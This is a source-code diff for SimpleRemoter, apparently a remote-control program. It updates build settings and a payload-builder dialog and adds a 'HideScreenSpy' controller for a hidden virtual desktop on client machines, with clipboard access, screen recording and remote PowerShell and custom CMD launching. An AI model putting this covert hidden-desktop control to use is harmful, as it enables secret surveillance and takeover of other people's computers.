$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(SolutionDir)..\SimpleRemoter;$(LibraryPath) $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir);$(SolutionDir)common;$(IncludePath) @@ -97,10 +97,11 @@ Use Level3 Disabled - WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;%(PreprocessorDefinitions) + WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;CBC;_WIN32_WINNT=0x0602;WINVER=0x0602;NTDDI_VERSION=0x06020000;%(PreprocessorDefinitions) true false $(SolutionDir);%(AdditionalIncludeDirectories) + false Windows @@ -108,6 +109,7 @@ zlib\zlib.lib;%(AdditionalDependencies) LIBCMT.lib;%(IgnoreSpecificDefaultLibraries) $(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt) + true false @@ -125,10 +127,11 @@ Use Level3 Disabled - WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;%(PreprocessorDefinitions) + WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;CBC;_WIN32_WINNT=0x0602;WINVER=0x0602;NTDDI_VERSION=0x06020000;%(PreprocessorDefinitions) true false $(SolutionDir);%(AdditionalIncludeDirectories) + false Windows @@ -153,11 +156,12 @@ Use MinSpace true - WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;%(PreprocessorDefinitions) + WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;CBC;_WIN32_WINNT=0x0602;WINVER=0x0602;NTDDI_VERSION=0x06020000;%(PreprocessorDefinitions) true Size true $(SolutionDir);%(AdditionalIncludeDirectories) + false Windows @@ -185,11 +189,12 @@ Use MinSpace true - WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;%(PreprocessorDefinitions) + WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;CBC;_WIN32_WINNT=0x0602;WINVER=0x0602;NTDDI_VERSION=0x06020000;%(PreprocessorDefinitions) true Size true $(SolutionDir);%(AdditionalIncludeDirectories) + false Windows @@ -243,6 +248,8 @@ + + @@ -250,10 +257,12 @@ + + @@ -273,6 +282,10 @@ + + + + @@ -282,11 +295,11 @@ - - NotUsing + NotUsing - NotUsing + NotUsing NotUsing + NotUsing @@ -295,13 +308,21 @@ + + + + NotUsing + NotUsing + NotUsing + NotUsing + @@ -318,6 +339,10 @@ Create + + + + @@ -335,10 +360,14 @@ + + + + diff --git a/server/2015Remote/Buffer.cpp b/server/2015Remote/Buffer.cpp index e03fdfd..53409d2 100644 --- a/server/2015Remote/Buffer.cpp +++ b/server/2015Remote/Buffer.cpp @@ -47,7 +47,7 @@ ULONG CBuffer::RemoveCompletedBuffer(ULONG ulLength) if (ulLength) { - MoveMemory(m_Base,m_Base+ulLength, m_ulMaxLength - ulLength); //ǰ [Shinexxxx??] + MoveMemory(m_Base,m_Base+ulLength, m_ulMaxLength - ulLength); m_Ptr -= ulLength; } @@ -126,7 +126,7 @@ BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength) return false; } - CopyMemory(m_Ptr,Buffer,ulLength);//Hello 5 + CopyMemory(m_Ptr,Buffer,ulLength); m_Ptr+=ulLength; LeaveCriticalSection(&m_cs); diff --git a/server/2015Remote/Buffer.h b/server/2015Remote/Buffer.h index 8cfed19..3717eef 100644 --- a/server/2015Remote/Buffer.h +++ b/server/2015Remote/Buffer.h @@ -7,6 +7,8 @@ class Buffer { private: PBYTE buf; ULONG len; + ULONG padding; + std::string md5; ULONG *ref; void AddRef() { (*ref)++; @@ -30,10 +32,11 @@ public: ref = NULL; } } - Buffer():buf(NULL), len(0), ref(new ULONG(1)) { + Buffer():buf(NULL), len(0), ref(new ULONG(1)), padding(0) { } - Buffer(const BYTE * b, int n):len(n), ref(new ULONG(1)){ + Buffer(const BYTE * b, int n, int padding=0, const std::string& md5="") : + len(n), ref(new ULONG(1)), padding(padding), md5(md5){ buf = new BYTE[n]; memcpy(buf, b, n); } @@ -53,8 +56,11 @@ public: char* c_str() const { return (char*)buf; } - ULONG length()const { - return len; + ULONG length(bool noPadding=false)const { + return noPadding ? len - padding : len; + } + std::string MD5() const { + return md5; } }; @@ -66,10 +72,11 @@ public: ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength); ULONG GetBufferLength(); // Чݳ + ULONG GetBufferLen() { return GetBufferLength(); } VOID ClearBuffer(); BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength); BOOL Write(PBYTE Buffer, ULONG ulLength) { return WriteBuffer(Buffer, ulLength); } - LPBYTE GetBuffer(ULONG ulPos); + LPBYTE GetBuffer(ULONG ulPos=0); Buffer GetMyBuffer(ULONG ulPos); BYTE GetBYTE(ULONG ulPos); BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos); diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index 1126a96..48822c2 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -144,7 +144,7 @@ void CBuildDlg::OnBnClickedOk() return; } //////////Ϣ////////////////////// - CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup }; + CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup, HeaderEncV1 }; g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort)); if (!g_ConnectAddress.IsValid()) { diff --git a/server/2015Remote/CTextDlg.cpp b/server/2015Remote/CTextDlg.cpp new file mode 100644 index 0000000..48f852b --- /dev/null +++ b/server/2015Remote/CTextDlg.cpp @@ -0,0 +1,51 @@ +// CTextDlg.cpp: ʵļ +// + +#include "stdafx.h" +#include "2015Remote.h" +#include "CTextDlg.h" +#include "afxdialogex.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#endif + +// CTextDlg Ի + +IMPLEMENT_DYNAMIC(CTextDlg, CDialog) + +CTextDlg::CTextDlg(CWnd* pParent /*=nullptr*/) + : CDialog(IDD_TEXT, pParent) + , nowstr(_T("")) + , cmeline(_T("")) + , oldstr(_T("")) +{ +} + +CTextDlg::~CTextDlg() +{ +} + +void CTextDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + DDX_Text(pDX, IDC_EDIT1, oldstr); + DDX_Text(pDX, IDC_EDIT2, nowstr); + DDX_Text(pDX, IDC_EDIT3, cmeline); +} + + +BEGIN_MESSAGE_MAP(CTextDlg, CDialog) + ON_BN_CLICKED(IDOK, &CTextDlg::OnBnClickedOk) + +END_MESSAGE_MAP() + + +// CTextDlg Ϣ + + +void CTextDlg::OnBnClickedOk() +{ + UpdateData(TRUE); + CDialog::OnOK(); +} diff --git a/server/2015Remote/CTextDlg.h b/server/2015Remote/CTextDlg.h new file mode 100644 index 0000000..e7b988e --- /dev/null +++ b/server/2015Remote/CTextDlg.h @@ -0,0 +1,27 @@ +#pragma once + + +// CTextDlg Ի + +class CTextDlg : public CDialog +{ + DECLARE_DYNAMIC(CTextDlg) + +public: + CTextDlg(CWnd* pParent = nullptr); // ׼캯 + virtual ~CTextDlg(); + CString oldstr; + CString nowstr; + CString cmeline; + // Ի +#ifdef AFX_DESIGN_TIME + enum { IDD = IDD_TEXT }; +#endif + +protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + + DECLARE_MESSAGE_MAP() +public: + afx_msg void OnBnClickedOk(); +}; diff --git a/server/2015Remote/HideScreenSpyDlg.cpp b/server/2015Remote/HideScreenSpyDlg.cpp new file mode 100644 index 0000000..c225e12 --- /dev/null +++ b/server/2015Remote/HideScreenSpyDlg.cpp @@ -0,0 +1,927 @@ +// ScreenSpyDlg.cpp : implementation file +// + +#include "stdafx.h" +#include "2015Remote.h" +#include "InputDlg.h" +#include "CTextDlg.h" +#include "HideScreenSpyDlg.h" +#include + +#ifdef _DEBUG +#define new DEBUG_NEW +#endif + +///////////////////////////////////////////////////////////////////////////// +// CHideScreenSpyDlg dialog +enum { + IDM_SET_FLUSH = 0x0010, + IDM_CONTROL, + IDM_SAVEDIB, // 保存图片 + IDM_SAVEAVI_S, // 保存录像 + IDM_GET_CLIPBOARD, // 获取剪贴板 + IDM_SET_CLIPBOARD, // 设置剪贴板 + IDM_SETSCERRN, // 修改分辨率 + IDM_QUALITY60, // 清晰度低 + IDM_QUALITY85, // 清晰度中 + IDM_QUALITY100, // 清晰度高 + + IDM_FPS_1, + IDM_FPS_5, + IDM_FPS_10, + IDM_FPS_15, + IDM_FPS_20, + IDM_FPS_25, + IDM_FPS_30, +}; + +IMPLEMENT_DYNAMIC(CHideScreenSpyDlg, CDialog) + +CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext) + : DialogBase(CHideScreenSpyDlg::IDD, pParent, pIOCPServer, pContext, 0) +{ + m_iocpServer = pIOCPServer; + m_ContextObject = pContext; + m_bIsFirst = true; // 如果是第一次打开对话框,显示提示等待信息 + m_BitmapData_Full = NULL; + m_lpvRectBits = NULL; + m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_SCREENSYP)); + m_IPAddress = m_ContextObject->GetPeerName().c_str(); + UINT nBISize = m_ContextObject->GetBufferLength() - 1; + m_BitmapInfor_Full = (BITMAPINFO*) new BYTE[nBISize]; + m_lpbmi_rect = (BITMAPINFO*) new BYTE[nBISize]; + memcpy(m_BitmapInfor_Full, m_ContextObject->GetBuffer(1), nBISize); + memcpy(m_lpbmi_rect, m_ContextObject->GetBuffer(1), nBISize); + m_bIsCtrl = true; + m_bIsClosed = FALSE; + m_ClientCursorPos = {}; + m_bCursorIndex = -1; +} + +CHideScreenSpyDlg::~CHideScreenSpyDlg() { + m_bIsClosed = TRUE; + m_iocpServer->Disconnect(m_ContextObject); + DestroyIcon(m_hIcon); + Sleep(200); + if (!m_aviFile.IsEmpty()) { + KillTimer(132); + m_aviFile = ""; + m_aviStream.Close(); + } + ::ReleaseDC(m_hWnd, m_hFullDC); + DeleteDC(m_hFullMemDC); + DeleteObject(m_BitmapHandle); + SAFE_DELETE_ARRAY(m_lpvRectBits); + SAFE_DELETE_ARRAY(m_BitmapInfor_Full); + SAFE_DELETE_ARRAY(m_lpbmi_rect); + SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_ARROW)); + m_bIsCtrl = false; +} + +void CHideScreenSpyDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); +} + + +BEGIN_MESSAGE_MAP(CHideScreenSpyDlg, CDialog) + ON_WM_SYSCOMMAND() + ON_WM_SIZE() + ON_WM_PAINT() + ON_WM_TIMER() + ON_WM_CLOSE() +END_MESSAGE_MAP() + + +///////////////////////////////////////////////////////////////////////////// +// CHideScreenSpyDlg message handlers +void CHideScreenSpyDlg::OnClose() +{ + m_ContextObject->CancelIO(); + + CDialogBase::OnClose(); +} + +void CHideScreenSpyDlg::OnReceiveComplete() +{ + if (m_bIsClosed) return; + switch (m_ContextObject->GetBuffer(0)[0]) { + case TOKEN_FIRSTSCREEN: { + m_bIsFirst = false; + DrawFirstScreen(m_ContextObject->GetBuffer(1), m_ContextObject->GetBufferLength()-1); + } + break; + case TOKEN_NEXTSCREEN: { + DrawNextScreenDiff(m_ContextObject->GetBuffer(0), m_ContextObject->GetBufferLength()); + break; + } + case TOKEN_BITMAPINFO_HIDE: + ResetScreen(); + break; + case TOKEN_CLIPBOARD_TEXT: + UpdateServerClipboard((char*)m_ContextObject->GetBuffer(1), m_ContextObject->GetBufferLength() - 1); + break; + case TOKEN_SCREEN_SIZE: + memcpy(&m_rect, m_ContextObject->GetBuffer(0) + 1, sizeof(RECT)); + return; + default: + Mprintf("Unknown command: %d\n", (int)m_ContextObject->GetBuffer(0)[0]); + return; + } +} + + +bool CHideScreenSpyDlg::SaveSnapshot() +{ + CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format(_T("_%Y-%m-%d_%H-%M-%S.bmp")); + CFileDialog dlg(FALSE, _T("bmp"), strFileName, OFN_OVERWRITEPROMPT, _T("位图文件(*.bmp)|*.bmp|"), this); + if (dlg.DoModal() != IDOK) + return false; + + BITMAPFILEHEADER hdr; + LPBITMAPINFO lpbi = m_BitmapInfor_Full; + CFile file; + if (!file.Open(dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) { + MessageBox(_T("文件保存失败:\n") + dlg.GetPathName()); + return false; + } + // BITMAPINFO大小 + int nbmiSize = sizeof(BITMAPINFOHEADER) + (lpbi->bmiHeader.biBitCount > 16 ? 1 : (1 << lpbi->bmiHeader.biBitCount)) * sizeof(RGBQUAD); + // Fill in the fields of the file header + hdr.bfType = ((WORD)('M' << 8) | 'B'); // is always "BM" + hdr.bfSize = lpbi->bmiHeader.biSizeImage + sizeof(hdr); + hdr.bfReserved1 = 0; + hdr.bfReserved2 = 0; + hdr.bfOffBits = sizeof(hdr) + nbmiSize; + // Write the file header + file.Write(&hdr, sizeof(hdr)); + file.Write(lpbi, nbmiSize); + // Write the DIB header and the bits + file.Write(m_BitmapData_Full, lpbi->bmiHeader.biSizeImage); + file.Close(); + return true; +} + +BOOL CHideScreenSpyDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + CString strString; + strString.Format("%s - 远程虚拟屏幕 %d×%d", m_IPAddress, + m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight); + SetWindowText(strString); + + // Set the icon for this dialog. The framework does this automatically + // when the application's main window is not a dialog + SetIcon(m_hIcon, TRUE); // Set big icon + SetIcon(m_hIcon, FALSE); // Set small icon + SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_NO)); + CMenu* pSysMenu = GetSystemMenu(FALSE); + if (pSysMenu != NULL) { + pSysMenu->AppendMenu(MF_SEPARATOR); + pSysMenu->AppendMenu(MF_STRING, IDM_SET_FLUSH, _T("刷新(&F)")); + pSysMenu->AppendMenu(MF_STRING, IDM_CONTROL, _T("控制屏幕(&Y)")); + pSysMenu->AppendMenu(MF_STRING, IDM_SAVEDIB, _T("保存快照(&S)")); + pSysMenu->AppendMenu(MF_STRING, IDM_SAVEAVI_S, _T("保存录像(&A)")); + pSysMenu->AppendMenu(MF_SEPARATOR); + pSysMenu->AppendMenu(MF_STRING, IDM_GET_CLIPBOARD, _T("获取剪贴板(&R)")); + pSysMenu->AppendMenu(MF_STRING, IDM_SET_CLIPBOARD, _T("设置剪贴板(&L)")); + pSysMenu->AppendMenu(MF_STRING, IDM_SETSCERRN, _T("修复分辨率(&G)")); + pSysMenu->AppendMenu(MF_SEPARATOR); + pSysMenu->AppendMenu(MF_STRING, IDM_QUALITY60, _T("清晰度低60/100")); + pSysMenu->AppendMenu(MF_STRING, IDM_QUALITY85, _T("清晰度中85/100")); + pSysMenu->AppendMenu(MF_STRING, IDM_QUALITY100, _T("清晰度高100/100")); + pSysMenu->AppendMenu(MF_SEPARATOR); + + /* + pSysMenu->AppendMenu(MF_STRING, IDM_FPS_1, _T("FPS-1")); + pSysMenu->AppendMenu(MF_STRING, IDM_FPS_5, _T("FPS-5")); + pSysMenu->AppendMenu(MF_STRING, IDM_FPS_10, _T("FPS-10")); + pSysMenu->AppendMenu(MF_STRING, IDM_FPS_15, _T("FPS-15")); + pSysMenu->AppendMenu(MF_STRING, IDM_FPS_20, _T("FPS-20")); + pSysMenu->AppendMenu(MF_STRING, IDM_FPS_25, _T("FPS-25")); + pSysMenu->AppendMenu(MF_STRING, IDM_FPS_30, _T("FPS-30")); + pSysMenu->AppendMenu(MF_SEPARATOR); + */ + pSysMenu->AppendMenu(MF_STRING, IDM_OPEN_Explorer, _T("打开-文件管理(&B)")); + pSysMenu->AppendMenu(MF_STRING, IDM_OPEN_run, _T("打开-运行(&H)")); + pSysMenu->AppendMenu(MF_STRING, IDM_OPEN_Powershell, _T("打开-Powershell(&N)")); + + /* + pSysMenu->AppendMenu(MF_STRING, IDM_OPEN_Chrome, _T("打开-Chrome(&I)")); + pSysMenu->AppendMenu(MF_STRING, IDM_OPEN_Edge, _T("打开-Edge(&M)")); + pSysMenu->AppendMenu(MF_STRING, IDM_OPEN_Brave, _T("打开-Brave(&D)")); + pSysMenu->AppendMenu(MF_STRING, IDM_OPEN_Firefox, _T("打开-Firefox(&V)")); + pSysMenu->AppendMenu(MF_STRING, IDM_OPEN_Iexplore, _T("打开-Iexplore(&Z)")); + */ + + pSysMenu->AppendMenu(MF_STRING, IDM_OPEN_zdy, _T("自定义CMD命令(&y)")); + pSysMenu->AppendMenu(MF_STRING, IDM_OPEN_zdy2, _T("高级自定义命令(&O)")); + pSysMenu->AppendMenu(MF_STRING, IDM_OPEN_close, _T("清理后台(&J)")); + + pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY85, MF_BYCOMMAND); + } + + // TODO: Add extra initialization here + m_hRemoteCursor = LoadCursor(NULL, IDC_ARROW); + ICONINFO CursorInfo; + ::GetIconInfo(m_hRemoteCursor, &CursorInfo); + pSysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED); + SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)m_hRemoteCursor); + if (CursorInfo.hbmMask != NULL) + ::DeleteObject(CursorInfo.hbmMask); + if (CursorInfo.hbmColor != NULL) + ::DeleteObject(CursorInfo.hbmColor); + // 初始化窗口大小结构 + m_hFullDC = ::GetDC(m_hWnd); + m_hFullMemDC = CreateCompatibleDC(m_hFullDC); + m_BitmapHandle = CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); + m_lpvRectBits = new BYTE[m_lpbmi_rect->bmiHeader.biSizeImage]; + SelectObject(m_hFullMemDC, m_BitmapHandle); + SetStretchBltMode(m_hFullDC, STRETCH_HALFTONE); + SetStretchBltMode(m_hFullMemDC, STRETCH_HALFTONE); + GetClientRect(&m_CRect); + ScreenToClient(m_CRect); + m_wZoom = ((double)m_BitmapInfor_Full->bmiHeader.biWidth) / ((double)(m_CRect.right - m_CRect.left)); + m_hZoom = ((double)m_BitmapInfor_Full->bmiHeader.biHeight) / ((double)(m_CRect.bottom - m_CRect.top)); + SetStretchBltMode(m_hFullDC, STRETCH_HALFTONE); + BYTE bBuff = COMMAND_NEXT; + m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1); +#ifdef _DEBUG + // ShowWindow(SW_MINIMIZE); +#endif + m_strTip = CString("请等待......"); + return TRUE; // return TRUE unless you set the focus to a control + // EXCEPTION: OCX Property Pages should return FALSE +} + +void CHideScreenSpyDlg::ResetScreen() +{ + UINT nBISize = m_ContextObject->GetBufferLength() - 1; + if (m_BitmapInfor_Full != NULL) { + SAFE_DELETE_ARRAY(m_BitmapInfor_Full); + SAFE_DELETE_ARRAY(m_lpbmi_rect); + m_BitmapInfor_Full = (BITMAPINFO*) new BYTE[nBISize]; + m_lpbmi_rect = (BITMAPINFO*) new BYTE[nBISize]; + memcpy(m_BitmapInfor_Full, m_ContextObject->GetBuffer(1), nBISize); + memcpy(m_lpbmi_rect, m_ContextObject->GetBuffer(1), nBISize); + DeleteObject(m_BitmapHandle); + m_BitmapHandle = CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); + if (m_lpvRectBits) { + delete[] m_lpvRectBits; + m_lpvRectBits = new BYTE[m_lpbmi_rect->bmiHeader.biSizeImage]; + } + SelectObject(m_hFullMemDC, m_BitmapHandle); + SetStretchBltMode(m_hFullDC, STRETCH_HALFTONE); + SetStretchBltMode(m_hFullMemDC, STRETCH_HALFTONE); + GetClientRect(&m_CRect); + ScreenToClient(m_CRect); + m_wZoom = ((double)m_BitmapInfor_Full->bmiHeader.biWidth) / ((double)(m_CRect.right - m_CRect.left)); + m_hZoom = ((double)m_BitmapInfor_Full->bmiHeader.biHeight) / ((double)(m_CRect.bottom - m_CRect.top)); + } +} + +void CHideScreenSpyDlg::DrawFirstScreen(PBYTE pDeCompressionData, unsigned long destLen) +{ + BYTE algorithm = pDeCompressionData[0]; + LPVOID lpFirstScreen = pDeCompressionData + 1; + DWORD dwFirstLength = destLen - 1; + if (algorithm == ALGORITHM_HOME) { + if(dwFirstLength > 0) + JPG_BMP(m_BitmapInfor_Full->bmiHeader.biBitCount, lpFirstScreen, dwFirstLength, m_BitmapData_Full); + } else { + m_ContextObject->CopyBuffer(m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage, 1); + } +#if _DEBUG + DoPaint(); +#else + PostMessage(WM_PAINT); +#endif +} + +void CHideScreenSpyDlg::DrawNextScreenHome(PBYTE pDeCompressionData, unsigned long destLen) +{ + if (!destLen) return; + + // 根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标, 防止鼠标闪烁 + bool bIsReDraw = false; + int nHeadLength = 1; // 标识[1] + 算法[1] + LPVOID lpNextScreen = pDeCompressionData + nHeadLength; + DWORD dwNextLength = destLen - nHeadLength; + DWORD dwNextOffset = 0; + + // 屏幕数据是否变化 + while (dwNextOffset < dwNextLength) { + int* pinlen = (int*)((LPBYTE)lpNextScreen + dwNextOffset); + + if (JPG_BMP(m_BitmapInfor_Full->bmiHeader.biBitCount, pinlen + 1, *pinlen, m_lpvRectBits)) { + bIsReDraw = true; + LPRECT lpChangedRect = (LPRECT)((LPBYTE)(pinlen + 1) + *pinlen); + int nChangedRectWidth = lpChangedRect->right - lpChangedRect->left; + int nChangedRectHeight = lpChangedRect->bottom - lpChangedRect->top; + + m_lpbmi_rect->bmiHeader.biWidth = nChangedRectWidth; + m_lpbmi_rect->bmiHeader.biHeight = nChangedRectHeight; + m_lpbmi_rect->bmiHeader.biSizeImage = (((nChangedRectWidth * m_lpbmi_rect->bmiHeader.biBitCount + 31) & ~31) >> 3) + * nChangedRectHeight; + + StretchDIBits(m_hFullMemDC, lpChangedRect->left, lpChangedRect->top, nChangedRectWidth, nChangedRectHeight, + 0, 0, nChangedRectWidth, nChangedRectHeight, m_lpvRectBits, m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY); + + dwNextOffset += sizeof(int) + *pinlen + sizeof(RECT); + } + } + + if (bIsReDraw) { + DoPaint(); + } +} + +BOOL CHideScreenSpyDlg::ParseFrame(void) { + //该函数不是直接画到屏幕上,而是更新一下变化部分的屏幕数据然后调用 + //OnPaint画上去 + //根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标,防止鼠标闪烁 + BOOL bChange = FALSE; + const ULONG ulHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标位置 + 光标类型索引 + ULONG NextScreenLength = m_ContextObject->GetBufferLength() - ulHeadLength; + + POINT OldClientCursorPos; + memcpy(&OldClientCursorPos, &m_ClientCursorPos, sizeof(POINT)); + memcpy(&m_ClientCursorPos, m_ContextObject->GetBuffer(2), sizeof(POINT)); + + // 鼠标移动了 + if (memcmp(&OldClientCursorPos, &m_ClientCursorPos, sizeof(POINT)) != 0) { + bChange = TRUE; + } + + // 光标类型发生变化 + BYTE bOldCursorIndex = m_bCursorIndex; + m_bCursorIndex = m_ContextObject->GetBYTE(2 + sizeof(POINT)); + if (bOldCursorIndex != m_bCursorIndex) { + bChange = TRUE; + if (m_bIsCtrl)//替换指定窗口所属类的WNDCLASSEX结构 +#ifdef _WIN64 + SetClassLongPtrA(m_hWnd, GCLP_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex)); +#else + SetClassLongA(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex)); +#endif + } + + // 屏幕是否变化 + if (NextScreenLength > 0) { + bChange = TRUE; + } + return bChange; +} + +void CHideScreenSpyDlg::DrawNextScreenDiff(PBYTE pDeCompressionData, unsigned long destLen) +{ + if (!destLen) return; + // 根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标, 防止鼠标闪烁 + BYTE algorithm = pDeCompressionData[1]; + if (algorithm == ALGORITHM_HOME) { + return DrawNextScreenHome(pDeCompressionData + 1, destLen - 1); + } + bool bIsReDraw = ParseFrame(); + bool keyFrame = false; + const ULONG ulHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); + LPVOID FirstScreenData = m_BitmapData_Full; + LPVOID NextScreenData = m_ContextObject->GetBuffer(ulHeadLength); + ULONG NextScreenLength = NextScreenData ? m_ContextObject->GetBufferLength() - ulHeadLength : 0; + + LPBYTE dst = (LPBYTE)FirstScreenData, p = (LPBYTE)NextScreenData; + if (keyFrame) + { + if (m_BitmapInfor_Full->bmiHeader.biSizeImage == NextScreenLength) + memcpy(dst, p, m_BitmapInfor_Full->bmiHeader.biSizeImage); + } + else if (0 != NextScreenLength) { + bIsReDraw = true; + for (LPBYTE end = p + NextScreenLength; p < end; ) { + ULONG ulCount = *(LPDWORD(p + sizeof(ULONG))); + if (algorithm == ALGORITHM_GRAY) { + LPBYTE p1 = dst + *(LPDWORD)p, p2 = p + 2 * sizeof(ULONG); + for (int i = 0; i < ulCount; ++i, p1 += 4) + memset(p1, *p2++, sizeof(DWORD)); + } + else { + memcpy(dst + *(LPDWORD)p, p + 2 * sizeof(ULONG), ulCount); + } + p += 2 * sizeof(ULONG) + ulCount; + } + } + + if (bIsReDraw) + { + DoPaint(); + } +} + +void CHideScreenSpyDlg::OnSize(UINT nType, int cx, int cy) +{ + CDialog::OnSize(nType, cx, cy); + + // TODO: Add your message handler code here + if (!IsWindowVisible()) + return; + + GetClientRect(&m_CRect); + ScreenToClient(m_CRect); + if (!m_bIsFirst) { + m_wZoom = ((double)m_BitmapInfor_Full->bmiHeader.biWidth) / ((double)(m_CRect.right - m_CRect.left)); + m_hZoom = ((double)m_BitmapInfor_Full->bmiHeader.biHeight) / ((double)(m_CRect.bottom - m_CRect.top)); + } +} + +void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) +{ + CMenu* pSysMenu = GetSystemMenu(FALSE); + switch (nID) { + case SC_MAXIMIZE: + OnNcLButtonDblClk(HTCAPTION, NULL); + return; + case SC_MONITORPOWER: // 拦截显示器节电自动关闭的消息 + return; + case SC_SCREENSAVE: // 拦截屏幕保护启动的消息 + return; + case IDM_SET_FLUSH: { + BYTE bToken = COMMAND_FLUSH_HIDE; + m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken)); + } + break; + case IDM_CONTROL: { + m_bIsCtrl = !m_bIsCtrl; + pSysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED); + + if (m_bIsCtrl) { + SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)m_hRemoteCursor); + } else + SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_NO)); + } + break; + + case IDM_SAVEDIB: + SaveSnapshot(); + break; + case IDM_SAVEAVI_S: { + + if (pSysMenu->GetMenuState(IDM_SAVEAVI_S, MF_BYCOMMAND) & MF_CHECKED) { + KillTimer(132); + pSysMenu->CheckMenuItem(IDM_SAVEAVI_S, MF_UNCHECKED); + m_aviFile = ""; + m_aviStream.Close(); + + return; + } + + if (m_BitmapInfor_Full->bmiHeader.biBitCount <= 15) { + AfxMessageBox(_T("不支持16位及以下颜色录像!")); + return; + } + + CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format(_T("_%Y-%m-%d_%H-%M-%S.avi")); + CFileDialog dlg(FALSE, _T("avi"), strFileName, OFN_OVERWRITEPROMPT, _T("Video(*.avi)|*.avi|"), this); + if (dlg.DoModal() != IDOK) + return; + + m_aviFile = dlg.GetPathName(); + + if (!m_aviStream.Open(m_hWnd, m_aviFile, m_BitmapInfor_Full)) { + m_aviFile = _T(""); + MessageBox(_T("Create Video(*.avi) Failed:\n") + m_aviFile); + } else { + ::SetTimer(m_hWnd, 132, 250, NULL); + pSysMenu->CheckMenuItem(IDM_SAVEAVI_S, MF_CHECKED); + } + } + break; + case IDM_GET_CLIPBOARD: { // 获取剪贴板 + BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD; + m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken)); + } + break; + case IDM_SET_CLIPBOARD: { // 设置剪贴板 + SendServerClipboard(); + } + break; + case IDM_SETSCERRN: { + BYTE bToken = COMMAND_SCREEN_SETSCREEN_HIDE; + m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken)); + } + break; + case IDM_QUALITY60: { // 清晰度60 + BYTE bToken = COMMAND_COMMAND_SCREENUALITY60_HIDE; + m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken)); + 